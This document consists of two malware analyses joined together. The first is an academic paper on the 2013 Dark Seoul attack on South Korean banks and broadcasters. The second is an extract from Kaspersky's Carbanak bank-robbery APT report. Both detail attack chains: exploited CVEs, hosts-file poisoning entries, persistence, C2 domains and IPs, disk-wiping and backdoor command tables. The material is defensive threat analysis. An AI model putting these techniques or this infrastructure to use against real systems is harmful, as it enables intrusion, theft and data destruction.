The Korea Internet Security Agency (KISA) reported that about 48,000 computers were affected making services inaccessible and  the  victim  organizations needed  weeks  to fully restore all functions [1].
In terms of impact, the attackers managed to successfully penetrate the target networks, pivot their way into critical assets, wipe out systems, cause denial of services, and trigger enough public response to spur the media into using terminology such as cyber terror and advanced persistent threats.
In this paper we take an in-depth look of the malware by examining the attack vectors used, and later discuss whether the claims in the media are warranted.
According to the investigating team consisting of government, military, and civilian members, as many as 76 samples of malware were collected from infected machines [2].
We present the most likely   primary   attack   vector   used   by   the   attackers   by discussing information summarized from reports by Avast [3], Trend Micro [4], and Symantec [5][6] issued in the first few days following the attack.
Fig.
1.
Dark Seoul Attack Vector 1.
Spearphishing Trend Micro researchers discovered a phishing email sent to South Korean organizations on March 19.
The email contained  a  malicious  Trojan  downloader  which  the researchers report to have been detected by their Deep Discovery software.
This is likely to be the initial attack point.
mailto:1jonathanspentera.com mailto:1hjleedongseo.ac.kr CISAK 2013  C1/O/8 2.
Launch Platform  Cross-Site Scripting Avast detected the attacks originating from the Korea Software Property Right-Council (SPC) website (http://www.spc.or.kr) possibly infected via the phishing email sent on the 19th.
Usage of a legitimate website/server in the target nation/region for launching attacks is a common tactic used to minimize detection.
The SPC website contained JavaScript causing the client browser to load an iframe loading the contents of http://rootadmin2012.com, which was the main attack site for hosting the malicious payloads.
3.
Exploitation Examination  of  rootadmin2012.com revealed  heapspray and shellcodes with references to Internet Explorer (IE).
Avast managed to identify the vulnerability exploited as CVE-2012- 1889 [7] which allows remote attackers to execute arbitrary code or cause a denial of service via a crafted website.
The vulnerability targets Microsoft XML Core Services 3.0  6.0 with a published metasploit exploit targeting MS XML Core Services 3.0 via IE6 and IE7 over Windows XP [8].
After gaining  access  the  second  stage  downloader  file  (sun.exe) performs the following actions: a.
Check  for  internet  connection:  Downloads  an image from naver.com.
b.
Local DNS cache poisoning: Redirects requests to certain Korean banking websites listed in Figure 2 to another server in Japan.
126.114.224.53 www.kbstar.com 126.114.224.53 www.ibk.co.kr 126.114.224.53 www.shinhan.com 126.114.224.53 www.wooribank.com 126.114.224.53 www.hanabank.com 126.114.224.53 www.nonghyup.com Fig.
2.
New entries appended to Windows hosts file c. Update download counter: Runs a counter script by opening http://myadmin2012.com/tong.htm.
d. Makes itself persistent: Modifies the Windows registry by adding value  with name  skunser and data C:\ntldrs\svchest.exe, where it was previously copied to.
e. Download  backdoor:  Downloads  dropper  file pao.exe from http://www.hisunpharm.com/ files/File/product/ and stores it to C:\Program Files\tongji2.exe f. Drops    and    execute    batch    file:    schedules downloader every 30 minutes and ensures svchest.exe is started with Local System privileges.
4.
Post-exploitation The tongji2.exe module injects itself into iexplore.exe in an attempt to mask itself.
Avast classified this as a backdoor Trojan  and  infostealer.
This  malware  allowed  attackers  to control the computer as a compromised zombie part of a wider botnet network  a theory suggested by Alienvault [9]  which then wiped hard disks, and harvested personal information.
Examination of the file names and the Safeengine executable protector suggest that the malware was made in China.
Although capable of executing many functions, only the following were widely utilized in the attack: a. Antivirus disablement:  Malware attempts to disable Ahnlab and Hauri antivirus.
b.
Command  control (CC): Using a simple XOR loop for encryption, the malware attempts to connect to laoding521.eicp.net over port 889 to communicate with the attackers.
c. Harddisk wiper: Symantec identified Trojan.
Jokra as the malware component that wiped harddisks in the attack.
It is likely that it was downloaded onto the victims computer after receiving an instruction by the CC servers.
The malware overwrites the master boot record (MBR) and the rest of the harddisk with the strings PRINCIPES or HASTATI.. Other attached drives or removable devices may also be targeted.
The malware then forces the computer to restart  thus  making  it  unusable.
An  interesting feature of this malware is that it has components to wipe out harddisks on both Windows and Linux platforms.
Detailed analysis of Jokra can be found here [10].
d. Information harvesting: After gaining root privileges the attackers can intercept any information that goes in or out of the infected computer.
However the most apparent information taken was user credentials.
As a result of DNS poisoning, users believe they are accessing the authentic internet banking website, but are decepted into interacting with a fake website.
An error   message  pops   up   stating  that   the   users computer  was  infected  by  a  virus  and  that  for security reasons they need to apply for a fraud prevention service.
If the user clicks the OK button, the user is directed to a page requesting their name and national identification number.
If the format entered is correct, the user is then asked to fill in more details including address, phone number, etc.. C.  CASE     STUDIES:    PREVIOUS     MAJOR     CYBER ATTACKS 1.
Stuxnet Stuxnet  was  discovered  in  July  2010,  but  the  earliest known variant is confirmed to have existed since 2007 [11].
Stuxnet caught many security researchers and professionals by surprise, being the first advanced malware of its kind.
According to Symantecs report [12], Stuxnet is a complex threat that was primarily written to target an industrial control system (ICS) or set of similar systems.
A vast array of components was implemented in the malware including four 0-Day exploits, a windows rootkit, antivirus evasion techniques,  complex  process  injection  and  hooking  code, http://rootadmin2012.com/ http://www.kbstar.com/ http://www.ibk.co.kr/ http://www.shinhan.com/ http://www.wooribank.com/ http://www.hanabank.com/ http://www.nonghyup.com/ http://myadmin2012.com/tong.htm http://www.hisunpharm.com/ CISAK 2013  C1/O/8 network infection routines, peer-to-peer updates, a command and control interface, as well as the first ever PLC rootkit.
Stuxnets main payload has the main purpose of modifying code on Siemens industrial PLCs in order to sabotage the system.
It is widely believed that Irans Natanz nuclear Fuel Enrichment Plant (FEP) was the intended target.
Hosts in five domains of organizations based in Iran were heavily infected over  3  attack  waves.
The  deliberate  containment  of  the malware to targets in Iran is also apparent from the number of hosts infected worldwide, which reached only around 100,000 with approximately 60 being in Iran.
This attack has been claimed to setback Irans nuclear program by several years as 1,000 out of 9,000 centrifuges were disabled and had to be replaced [13].
The initial attack point is likely to be via a USB infection.
2.
10 days of Rain On March 4, 2011, exactly 20 months after a similar incident during the  U.S.
Independence Day celebrations of 2009, a botnet based in South Korea launched DDoS attacks against 40 websites affiliated with South Korean government, military, and civilian critical infrastructure as well as U.S. forces based in Korea [14].
The botnet was dynamically updated via new malware binaries, launched a DDoS non-stop for  more than a  week,  and  then  wiped the  harddisks with zeroes, overwriting the MBR making the machines unusable.
This attack used malware with a much higher level of sophistication than is necessary to launch a trivial distributed denial of service (DDoS) attack.
Encryption of code and configurations using cipher algorithms such as the Advanced Encryption Standard (AES), RSA, and Rivest Cipher 4 (RC4) enabled them to evade detection and prolong analysis.
A multitier botnet architecture included 40 CC servers distributed across the globe including servers in the USA, Taiwan, Saudi Arabia, Russia, and India.
Highlighting the overkill in this attack, McAfee went so far as to call it analogous to bringing a Lamborghini to a go-cart race [15].
Considering the limited timeframe scope and target list, McAfee suggested the motivation of the attack was a cyber war exercise to test the preparedness of South Koreas cyber defense capabilities and to better understand the technical requirements for a successful campaign.
3.
SK Communications  CyWorld In July 2011 SK Communications became the victim of an attack that resulted in the loss of the personal details of 35 million users [16].
The users of CyWorld and Nate, services owned by SK Communications, were affected by this attack.
Judging from the sophistication of the attack and the time needed for planning it, researchers concluded that the attack was likely to be carried out by an Advanced Persistent Threat.
Between July, 18 and 25, more than 60 computers were infected then used to gain access to the user databases.
The launch point was a South Korean software companys update server, normally used to deliver software updates to customers [17].
The attackers compromised the server and created a Trojan that would be downloaded to user computers during a routine update.
Poor change management policy resulted in the full  trust  of  software  updates,  allowing  attackers  to  fully exploit this weakpoint.
During this time attackers used CC servers to monitor the activities on the infected machines and uploaded tools on a previously compromised legitimate Taiwanese website.
An elaborate infrastructure of waypoints and CC servers was created to make tracing the sources of their activities difficult.
In-depth investigation of the attack reveal that preparation went back as early as September 2010 before finally culminating in the compromise of the user databases between July 26-28, 2011.
Comparing Dark Seoul with previous attacks shows that it was  technically  low  in  sophistication  while  causing  high impact to the organizations affected.
An intuitive indicator of this sophistication is that it was completely preventable if the organizations had used existing software updates and antivirus solutions, whereas prior attacks could not have been detected.
However judging from the high number of infections, services disrupted, and the fact that information was being harvested from the infected machines at least 8 months [18] before the d- day wipeout, we consider the impact to be high.
Table 1.
Comparison with Previous Attacks.
Metric Stuxnet (2007- 2010) SK Comm (2011) 10 days of rain (2011) Dark Seoul (2013) Sophistication VERY HIGH HIGH VERY HIGH LOW Impact VERY HIGH HIGH HIGH HIGH of Infections 100,000 60 100,000 48,000 Losses Nuclear Program 35 million users 8 billion KRW DDoS Time Before Detection 3 years 10 months 1 year 8 months D.  ADVANCED MALWARE DESIGN 1.
Multiple Propagation Vectors To increase the probability of successfully infecting the target systems, various propagation vectors should be embedded into the malware.
The most likely attack vector is social engineering via phishing emails, USB sticks, and other techniques.
Although people can be used as the initial point of entry, propagation needs to continue laterally through the network till the specific target host is reached.
During this process the malware may need higher privileges (e.g.
root) and further exploits will be utilized.
Therefore the persistent adversary will need to consider multiple vectors to infiltrate target systems.
CISAK 2013  C1/O/8 2.
0-day Exploits The problem with publicly published vulnerabilities is people can defend against them.
0-day exploits are written to exploit  vulnerabilities  that  have  not  been  disclosed  to  the public nor the concerned software vendor.
These exploits are at the core payload of any advanced malware, and are virtually unstoppable until vendors release a patch or anti-virus providers come up with a signature definition.
The only other method of minimizing the 0-day threat is by actively designing security into software.
Dark Seoul did not use any 0-days.
3.
Evasion Techniques The deployment of anti-virus software, intrusion detection systems, firewalls and other malware detection or prevention technology has done much to defend against many attacks.
Advanced malware bypasses these defenses by employing techniques such as dynamic botnet obfuscation, network based fragmentation and session splicing, application or protocol violations, disabling intrusion detection systems (IDSs), to more advanced techniques such as encryption and code reuse attacks [19].
Carefully crafted exploits can avoid even advanced heuristic detection algorithms used in todays anti- virus software.
Evasion techniques are crucial for successful attacks against high level targets, such as in the case of the Iranian nuclear program.
E.  CONCLUSION Dark  Seoul  was  a  low  tech  threat  which  managed  to escalate into a high impact attack.
Successful in carrying out its goals, the malware was lacking in many areas that would be typically found in attacks by advanced persistent threats.
We highlighted the components of the malware used and the possible design principles that could have been employed to make the attack more sophisticated.
South Korea is more at risk now than before the attack, as now adversaries less capable than advanced persistent threats realize they could also successfully perform damaging attacks.
Undertaking the needed remediation strategies to prevent similar attacks as well as understanding the anatomy of more advanced malware is vital for mounting an adequate defense against the advanced cyber threats.
ACKNOWLEDGEMENT This research was supported by Basic Science Research Program through the National Research Foundation of Korea (NRF) funded by the Ministry of Education, Science and Technology (grant number: 2012-0008447).
REFERENCES [1]    South Korea blames North for bank and TV cyber-attacks, BBC News, [online] 10 April 2013, Available: http://www.bbc.co.uk/news/technology-22092051 (Accessed: 18 April 2013) [2]    He-suk Choi.
Seoul blames Pyongyang for cyber attacks, The Korea Herald, [online] 10 April 2013,  Available: http://www.koreaherald.com/view.php?ud20130410000766 (Accessed: 18 April 2013) [3]    J. Horejsi.
Analysis of Chinese attack against Korean banks, Avast Blog, [online] 19 March 2013, Available: https://blog.avast.com/2013/03/19/analysis-of-chinese-attack-against- korean-banks/ (Accessed: 18 April 2013) [4]    J. Schwartz, South Korea Changes Story On Bank Hacks, Information Week [online] 22 March 2013, Available: http://www.informationweek.com/security/attacks/south-korea-changes- story-on-bank-hacks/240151542 (Accessed: 18 April 2013) [5]    Remote Linux Wiper Found in South Korean Cyber Attack, Symantec Connect [online] 20 March 2013, Available: http://www.symantec.com/connect/blogs/remote-linux-wiper-found- south-korean-cyber-attack (Accessed: 18 April 2013) [6]    Trojan.
Jokra, Symantec Security Response, [online] 27 March 2013, Available: http://www.symantec.com/security_response/writeup.jsp?docid2013- 032014-2531-99 (Accessed: 18 April 2013) [7]    CVE-2012-1889, Common Vulnerabilities and Exposures, [online] 22 March 2012, Available: http://www.cve.mitre.org/cgi- bin/cvename.cgi?nameCVE-2012-1889 (Accessed: 18 April 2013) [8]    Metasploit, Microsoft XML Core Services MSXML Uninitialized Memory Corruption, The Exploit Database, [online] http://www.exploit-db.com/exploits/19186/ (Accessed: 18 April 2013) [9]    J. Blasco, A theory on the South Korean attacks, Alien Vault Labs [online] 20 March 2013, Available: http://labs.alienvault.com/labs/index.php/2013/a-theory-on-the-south- korean-attacks/ (Accessed: 18 April 2013) [10]  Trojan.
Jokra, Symantec Security Response, [online] 27 March 2013, Available: http://www.symantec.com/security_response/writeup.jsp?docid2013- 032014-2531-99tabid2 (Accessed: 18 April 2013) [11]  G. McDonald,  L.O.
Murchu, S. Doherty, and E. Chien, Stuxnet 0.5: The Missing Link, Symantec Security Response [online] 26 February 2013, Available: http://www.symantec.com/content/en/us/enterprise/media/security_respo nse/whitepapers/stuxnet_0_5_the_missing_link.pdf [12]  N. Falliere, L. O. Murchu, and E. Chien, W32.stuxnet dossier, Symantec, Symantec Security Response [online] February 2011.
[
online].
Available: http://www.symantec.com/content/en/us/enterprise/media/security_respo nse/whitepapers/w32_stuxnet_dossier.pdf [13]  Albright, D., Brannan P., Walrond, C. Did Stuxnet Take Out 1,000 Centrifuges at the Natanz Enrichment Plant?
Institute for Science and International Security [online] 22 December 2010, Available: http://isis- online.org/isis-reports/detail/did-stuxnet-take-out-1000-centrifuges-at- the-natanz-enrichment-plant/ (Accessed: 18 April 2013) [14]  10 Days of Rain in Korea, McAfee Blog Central [online] 5 July 2011, Available: http://blogs.mcafee.com/mcafee-labs/10-days-of-rain-in-korea (Accessed: 18 April 2013) [15]  Ten Days of Rain Whitepaper, McAfee, 5 July 2011 [16]  SK Hack by an Advanced Persistent Threat, Command Five [online] September 2011, Available: http://www.commandfive.com/papers/C5_APT_SKHack.pdf (Accessed: 18 April 2013) [17]  Moon-young Lee, Personal information hack traced to Chinese IP address The Hankyoreh [online] 12 August 2011, Available: http://www.hani.co.kr/arti/english_edition/e_national/491514.html (Accessed: 18 April 2013) [18]  South Korea Probe Blames North for Cyber Attack VOA News [online] 10 April 2013, Available: http://www.voanews.com/articleprintview/1638361.html (Accessed: 18 April 2013) [19]  J.A.P.
Marpaung, M. Sain, H.J.
Lee, Survey on Malware Evasion Techniques: State of the Art and Challenges in 14th International Conference on Advanced Communication Technologies, 2012, pp 744- 749.
http://www.bbc.co.uk/news/technology-22092051 http://www.koreaherald.com/view.php?ud20130410000766 http://www.koreaherald.com/view.php?ud20130410000766 http://www.informationweek.com/security/attacks/south-korea-changes- http://www.informationweek.com/security/attacks/south-korea-changes- http://www.symantec.com/connect/blogs/remote-linux-wiper-found- http://www.symantec.com/connect/blogs/remote-linux-wiper-found- http://www.symantec.com/security_response/writeup.jsp?docid2013- http://www.symantec.com/security_response/writeup.jsp?docid2013- http://www.cve.mitre.org/cgi- http://www.exploit-db.com/exploits/19186/ http://www.exploit-db.com/exploits/19186/ http://labs.alienvault.com/labs/index.php/2013/a-theory-on-the-south- http://labs.alienvault.com/labs/index.php/2013/a-theory-on-the-south- http://www.symantec.com/security_response/writeup.jsp?docid2013- http://www.symantec.com/security_response/writeup.jsp?docid2013- http://www.symantec.com/content/en/us/enterprise/media/security_respo http://www.symantec.com/content/en/us/enterprise/media/security_respo http://www.symantec.com/content/en/us/enterprise/media/security_respo http://isis-/ http://blogs.mcafee.com/mcafee-labs/10-days-of-rain-in-korea http://www.commandfive.com/papers/C5_APT_SKHack.pdf http://www.commandfive.com/papers/C5_APT_SKHack.pdf http://www.hani.co.kr/arti/english_edition/e_national/491514.html http://www.hani.co.kr/arti/english_edition/e_national/491514.html http://www.voanews.com/articleprintview/1638361.html http://www.voanews.com/articleprintview/1638361.html
Version 2.0 February, 2015 CARBANAK APT THE GREAT BANK ROBBERY TheSAS2015 Carbanak http://sas.kaspersky.com/ https://twitter.com/hashtag/Carbanak 2 TLP: White For any inquiries, please contact intelreportskaspersky.com Table of contents 1.
Executive Summary ...........................................................................................3 2.
Analysis ...............................................................................................................5 2.1 Infection and Transmission ........................................................................5 2.2 Malware Analysis  Backdoor.
Win32.Carbanak ......................................7 2.3 Lateral movement tools .......................................................................... 18 2.4 Command and Control (C2) Servers ....................................................... 19 3.
Conclusions ..................................................................................................... 23 APPENDIX 1: C2 protocol decoders .................................................................... 24 APPENDIX 2: BAT file to detect infection ............................................................ 27 APPENDIX 3: IOC hosts ....................................................................................... 28 APPENDIX 4: Spear phishing .............................................................................. 34 APPENDIX 5: MD5 hashes of Carbanak samples ............................................. 36 mailto:intelreports40kaspersky.com?subject 3 TLP: White For any inquiries, please contact intelreportskaspersky.com 1.
Executive Summary From late 2013 onwards, several banks and financial institutions have been attacked by an unknown group of cybercriminals.
In all these attacks, a similar modus operandi was used.
According to victims and the law enforcement agencies (LEAs) involved in the investigation, this could result in cumulative losses of up to 1 billion USD.
The attacks are still active.
This report provides a technical analysis of these attacks.
The motivation for the attackers, who are making use of techniques commonly seen in Advanced Persistent Threats (APTs), appears to be financial gain as opposed to espionage.
An analysis of the campaign has revealed that the initial infections were achieved using spear phishing emails that appeared to be legitimate banking communications, with Microsoft Word 97  2003 (.doc) and Control Panel Applet (.CPL) files attached.
We believe that the attackers also redirected toexploit kits website traffic that related to financial activity.
The email attachments exploit vulnerabilities in Microsoft Office 2003, 2007 and 2010 (CVE-2012-0158 and CVE-2013-3906) and Microsoft Word (CVE-2014- 1761).
Once the vulnerability is successfully exploited, the shellcode decrypts and executes the backdoor known as Carbanak.
Carbanak is a remote backdoor (initially based on Carberp), designed for espionage, data exfiltration and to provide remote access to infected machines.
Once access is achieved, attackers perform a manual reconnaissance of the victims networks.
Based on the results of this operation, the attackers use different lateral movement tools in order to get access to the critical systems in the victims infrastructure.
They then install additional software such as the Ammyy Remote Administration Tool, or even compromise SSH servers.
Notably, some of the latest versions of the analyzed Carbanak malware appear not to use any Carberp source code.
Once the attackers successfully compromise the victims network, the primary internal destinations are money processing services, Automated Teller Machines (ATM) and financial accounts.
In some cases, the attackers used the Society for Worldwide Interbank Financial Telecommunication (SWIFT) network to transfer money to their accounts.
In others, Oracle databases were manipulated to open payment or debit card accounts at the same bank or to transfer money between mailto:intelreports40kaspersky.com?subject 4 TLP: White For any inquiries, please contact intelreportskaspersky.com accounts using the online banking system.
The ATM network was also used to dispense cash from certain ATMs at certain times where money mules were ready to collect it.
As part of the attacks reconnaissance phase, video recordings of the activities of bank employees, particularly system administrators, were made.
The videos were sent to the C2 server.
Please note that the attackers abused the aforementioned services by impersonating legitimate local users who had the permissions to perform the actions later reproduced by the cybercriminals.
As far as we know, none of the aforementioned services were attacked nor was any specific vulnerability within them exploited.
Of the 100 banking entities impacted at the time of writing this report, at least half have suffered financial losses, with most of the victims located in Russia, USA, Germany, China and Ukraine.
The magnitude of the losses is significant.
For example, one victim lost approximately 7.3 million (USD) due to ATM fraud another suffered a 10 million (USD) loss due to the exploitation of its online banking platform.
Stolen funds were transferred out of the affected countries to bank accounts in the US and China.
Additionally some of the C2 servers have log entries indicating connections to systems located in the US.
Telemetry indicates that the attackers are expanding operations to other regions, such as Asia, the Middle-East, Africa and Europe.
This report discusses the attack vectors, infection mechanisms and toolkits used by the attackers to exploit the network after the initial infection, as well as the operational details and geographical distribution of this campaign.
5 TLP: White For any inquiries, please contact intelreportskaspersky.com 2.
Analysis During the spring of 2014, Kaspersky Lab was involved in a forensic analysis of ATMs dispensing cash to people located near them but with no physical interaction according to security cameras.
No malware was detected on these ATMs.
However, Carberp-like malware was found on a computer that was connected to them via VPN.
Following the investigation of this incident, in the summer of 2014, Kaspersky Lab identified the same Carberp-like malware in another investigation involving a bank, where criminals were able to gain access to its online banking systems.
In this investigation, we started analyzing all the computers in the banks infrastructure in order to find the source of the infection.
We found spear phishing emails with CPL files attached that, after a successful infection, install the same Carberp-like malware we had previously found in the case involving the ATMs.
There is evidence indicating that in most cases the network was compromised for between two to four months, and that many hundreds of computers within a single victim organization may have been infected.
This period of time was used by the attackers to get access to the right victims and critical systems, and to learn how to operate their tools and systems to get the cash out.
Carbanak contains an espionage component that allows the attackers to take control of video capabilities on the victim systems.
Thanks to this, long term observation and reconnaissance could be conducted.
This allowed the attackers to understand the protocols and daily operational tempo of their targets.
Based on this understanding, exploitation methodologies and mechanisms were developed and tailored to each victim.
2.1 Infection and Transmission All observed cases used spear phishing emails with Microsoft Word 97  2003 (.doc) files attached or CPL files.
The doc files exploit both Microsoft Office (CVE- 2012-0158 and CVE-2013-3906) and Microsoft Word (CVE- 2014-1761).
There are indicators that point to a possible Chinese origin for the exploits used in these attachments.
Command and Control (C2) servers located in China have been identified in this campaign.
In addition, registration information for some of the domains use details of supposedly Chinese citizens.
Obviously, all this could just be a red herring.
6 TLP: White For any inquiries, please contact intelreportskaspersky.com The targets were all employees affiliated to the affected institution.
The spear phishing email messages appeared legitimate and in some cases were sent from compromised coworkers accounts.
In this way compromised systems were used as a transmission vector.
Given that the victims were mostly Russian-speaking financial institutions, the names of the attachments we have identified were generally in Russian.
Examples include  -115 and  which translate into Accordance to Federal Law and Invitation respectively.
This is enough to induce a typical employee to open the attachment and execute the malware.
For a complete list of file names see Appendix 4.
The following is an example of a Carbanak spear phishing email: Translated: In this case, the attachment was a CPL file compressed using the Roshal Archive (.rar) format.
Once the remote code execution vulnerability is successfully exploited, it installs Carbanak on the victims system.
The complete list of observed spear phishing emails can be found in Appendix 1  Spear phishing.
An additional infection vector that we believe was used by the criminals is aclassical drive-by-download attack.
We have found traces of the Null and theRedKit exploits kits.
7 TLP: White For any inquiries, please contact intelreportskaspersky.com Figure 1.
Null Exploit Kit  statistics on victims, found in one Carbanak C2 The image above translates as Country_name, All visitors, Unique visitors, Banned visitor, Revoked infections, Infected.
2.2 Malware Analysis  Backdoor.
Win32.Carbanak Carbanak is a backdoor used by the attackers to compromise the victims machine once the exploit, either in the spear phishing email or exploit kit, successfully executes its payload.
This section provides a functional analysis of Carbanaks capabilities.
Carbanak copies itself into system32\com with the name svchost.exe with the file attributes: system, hidden and read-only.
The original file created by the exploit payload is then deleted.
To ensure that Carbanak has autorun privileges the malware creates a new service.
The naming syntax is ServiceNameSys where ServiceName is any existing service randomly chosen, with the first character deleted.
For example, if the existing services name is aspnet and the visible name is Asp.net state 8 TLP: White For any inquiries, please contact intelreportskaspersky.com service, the service created by the malware would be aspnetSys with a visible name of Sp.net state service.
Before creating the malicious service, Carbanak determines if either the avp.exe or avpui.exe processes (components of Kaspersky Internet Security) is running.
If found on the target system, Carbanak will try to exploit a known vulnerability in Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows 8, and Windows Server 2012, CVE-2013-3660, for local privilege escalation.
We believe this is not relevant and that theattackers adapt their tools to the victims defenses.
Carbanak creates a file with a random name and a .bin extension in COMMON_APPDATA\Mozilla where it stores commands to be executed.
Thenthe malware gets the proxy configuration from the registry entry: [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings] and the Mozilla Firefox configuration file in: AppData\Mozilla\Firefox\ProfileName\prefs.js How to detect Carbanak One of the best methods for detecting Carbanak is to look for .bin files in the folder: ..\All users\AppData\Mozilla\ The malware saves files in this location that will later be sent to the C2 server when an internet connection is detected.
A .BAT script for detecting infections is provided in the Appendixes.
Additionally, Carbanak can obtain proxy configuration information from headers sent through an application via SOCKS or HTTP.
Carbanak injects its code into svchost.exe.
Most of the actions described below happen within this process.
Carbanak downloads the file kldconfig.plug from its C2 server.
This file includes the names of the processes to be monitored.
Once the system is infected, Carbanak logs keystrokes and takes screenshots every 20 seconds.
This monitoring is performed by intercepting the ResumeThread call.
9 TLP: White For any inquiries, please contact intelreportskaspersky.com To enable connections to the infected computer using the Remote Desktop Protocol (RDP), Carbanak sets Termservice service execution mode to Auto.
Also, after executing this service, it modifies the executable code in memory in order to establish simultaneous work processes for both remote and local users.
Modules modified in this process are: termsrv.dll, csrsrv.dll, msgina.dll and winlogon.exe.
If Carbanak detects the banking application BLIZKO (funds transfer software) in the infected computer, it sends a special notification to its C2 server.
Carbanak is also aware of the IFOBS banking application and can, on command, substitute the details of payment documents in the IFOBS system.
To communicate with its C2 server, Carbanak uses the HTTP protocol with RC2Base64 encryption, adding additional characters not included in Base64.
Italso inserts strings with different extensions (.gif,.htm, etc.)
at random locations in the HTTP request.
Example of a typical Carbanak request: Carbanak sends its collected monitoring data to its C2 server.
It also receives commands.
The commands are compared with a hash table if there is a match Carbanak performs the associated action: Hash Command Description 0AA37987 Executes all commands stored in the configuration file.
7AA8A5 state Sets malware state flag.
7CFABF video Sends captured screen or process window video to C2.
6E533C4 download Downloads and runs executable file from C2.
Executable file is stored in TEMP with a random name.
684509 ammyy Downloads and run Ammy Admin remote control software and adds it to the systems firewall exclusion list.
7C6A8A5 update Malware update.
0B22A5A7 Monitoring configuration update (klgconfig.plug).
0B77F949 Unknown.
10 TLP: White For any inquiries, please contact intelreportskaspersky.com Hash Command Description 7203363 killos Kills the operating system through the following actions: 1- Puts in ImagePath registry [HKLM\SYSTEM\ControlSet001\ services\ACPI], [HKLM\SYSTEM\ControlSet002\services\ACPI] and [HKLM\SYSTEM\CurrentControlSet\services\ACPI] bad data.
2- Writes bytes with value zero into the first 512 bytes of hardrive \\.\PHYSICALDRIVE0.
Then reboots.
78B9664 reboot OS reboot.
7BC54BC tunnel Creates network tunnel to specified network address, routing all traffic there.
7B40571 adminka Uses specified proxy settings.
79C9CC2 server Changes CC server.
7C9C2 user Creates or deletes user.
78B0 rdp Modifies termsrv.dll, csrsrv.dll, msgina.dl and winlogon.
exe modules.
Modification allows multiple connections via RDP protocol and makes RDP persistent.
79BAC85 secure Loads and overwrites .dll responsible for passwords policy.
New .dll location points to Notification Packages [HKLM\ System\ CurrentControlSet\Control\Lsa] registry key.
6ABC del Deletes specified service or file.
0A89AF94 Executes specified command hash.
79C53BD Loads and executes file from specified network location.
File executes in memory and is not stored on the harddrive.
0F4C3903 Sends local user system password to C2.
0BC205E4 screenshot Creates and sends screenshots.
7A2BC0 sleep Turns off malware activity for a specified period of time.
6BC6C dupl Unknown.
4ACAFC3 Uploads specified file or directory.
7D43 vnc Establish VNC session.
9C4D055 Unknown.
2032914 Unknown.
11 TLP: White For any inquiries, please contact intelreportskaspersky.com In order to render the malware less suspicious, the latest Carbanak samples aredigitally signed: 1.
footprintcrsgn.dll MD5 08F83D98B18D3DFF16C35A20E24ED49A Figure 2.
Carbanak digital signature 12 TLP: White For any inquiries, please contact intelreportskaspersky.com 2.
PAExec_Move0.dat MD5 972092CBE7791D27FC9FF6E9ACC12CC3 Figure 3.
Carbanak digital signature 13 TLP: White For any inquiries, please contact intelreportskaspersky.com One of Carbanaks lateral movement tools is also digitally signed: 3.
PAExec-6980-PB-FS-01.ex_ MD5 86A5C466947A6A84554843D852478248 Figure 4.
Carbanak lateral movement tool digital signature 14 TLP: White For any inquiries, please contact intelreportskaspersky.com Geographical Distribution Known samples of Carbanak have been uploaded to VirusTotal from the following locations: Figure 5.
Countries from which Carbanak has been uploaded Known exploits that download Carbanak have been uploaded to VirusTotal mostly from Russia.
15 TLP: White For any inquiries, please contact intelreportskaspersky.com According to KSN data, victims are distributed geographically as follows: Figure 6.
Geographical distribution of victims according to KSN data The analyzed Carbanak samples, excluding some obvious outliers, have thefollowing compilation time distribution: Figure 7.
Carbanak compilation timestamp distribution 16 TLP: White For any inquiries, please contact intelreportskaspersky.com It is also very interesting to see the distribution of Carbanak submissions to VirusTotal.
This way we can identify periods when the malware came to the attention of potential victims and security researchers, and helps to reveal peaksin the groups activity: Figure 8.
Distribution of Carbanak submissions to VirusTotal Since the beginning of this case, Kaspersky Lab has worked in cooperation with the LEAs investigating it.
During the investigation LEAs shared with us statistical data from their research that helped us to complete our picture of the campaign.
17 TLP: White For any inquiries, please contact intelreportskaspersky.com The following map shows targets IP addresses found in three of Carbanaks Linux servers at the end of October 2014: Figure 9.
Geographical distribution of targets according to C2 data 18 TLP: White For any inquiries, please contact intelreportskaspersky.com Figure 10.
Geographical distribution of victims according to C2 data 2.3 Lateral movement tools Carbanak uses different tools on infected systems, each one with a different purpose.
There appears to be a preference for the Ammyy Admin remote administration tool for remote control.
Specifically, the attackers have been detected uploading: Ammyy Admin 3.5 (f8cd52b70a11a1fb3f29c6f89ff971ec) as svchost.exe It is believed that the attackers used this remote administration tool because itis commonly whitelisted in the victims environments as a result of being usedregularly by administrators.
In another instance, a Secure Shell (SSH) backdoor was used to communicate with the C2 server in 190.97.165.126 (operatemesscont.net).
This indicates that the attackers did not limit themselves to Microsoft Windows environments.
In this case, the victim used the Telnet/SSH client PuTTY to connect to the server, and the attackers recompiled the machines SSH daemon with a backdoor so they could gain direct access.
Logs for these tools indicate that they were accessed from two different IPs, probably used by the attackers, and located in Ukraine and France.
We have also found traces of many different tools used by the attackers inside the victims network to gain control of additional systems, such as Metasploit, PsExec or Mimikatz.
19 TLP: White For any inquiries, please contact intelreportskaspersky.com 2.4 Command and Control (C2) Servers There appear to be four distinct types of C2 servers: Linux servers used for issuing commands to deployed Carbanak instances and for receiving collected monitoring data Windows servers used for remote connections to victim systems Backup servers and Drop servers where additional executable files (e.g.
remote administration tools) are hosted.
Server rotation occurs more or less on a biweekly basis.
For a complete list of identified Carbanak servers please check the regularly updated Carbanak IOC document.
The current list of IOCs is provided at Appendix 3 in his document.
Some of these C2 servers are responsible for dropping Ammyy (configuration and executable files), the KLG plugin configuration (list of processes to monitor) and the VNC server (both 32 and 64 bits to be injected in rundll).
In one of the observed servers there was also a Metasploit module.
Figure 11.
Carbanak administration panel running in Linux 20 TLP: White For any inquiries, please contact intelreportskaspersky.com Figure 12.
Carbanak administration panel running in Linux, list of plugins Figure 13.
Carbanak administration panel running in Windows able to run RDP, VNC, proxy and tunnels via Carbanak Victim systems are catalogued in the servers databases.
The victims belong toa number of different communities, thus simplifying administration.
In all, 85different victims belonging to seven communities were found.
21 TLP: White For any inquiries, please contact intelreportskaspersky.com Attackers operational details Additionally, the malicious servers contain video files that capture a victims activity.
While the videos are stored using a compressed format which provides poor image quality, the selected format minimizes upload bandwith and is of sufficient quality for the attackers to understand the victims activities.
The video file naming conventions used the name of the application in the foreground (e.g., Outlook, Cmd, etc.)
and only recorded user activity.
This helped the attackers to both navigate to files of interest and to discard superfluous files.
Figure 14.
Special video player designed to watch Carbanaks video stream Using the intelligence gained from video and other monitoring techniques, the attackers developed an operational picture of the victims workflow, tooling and practices.
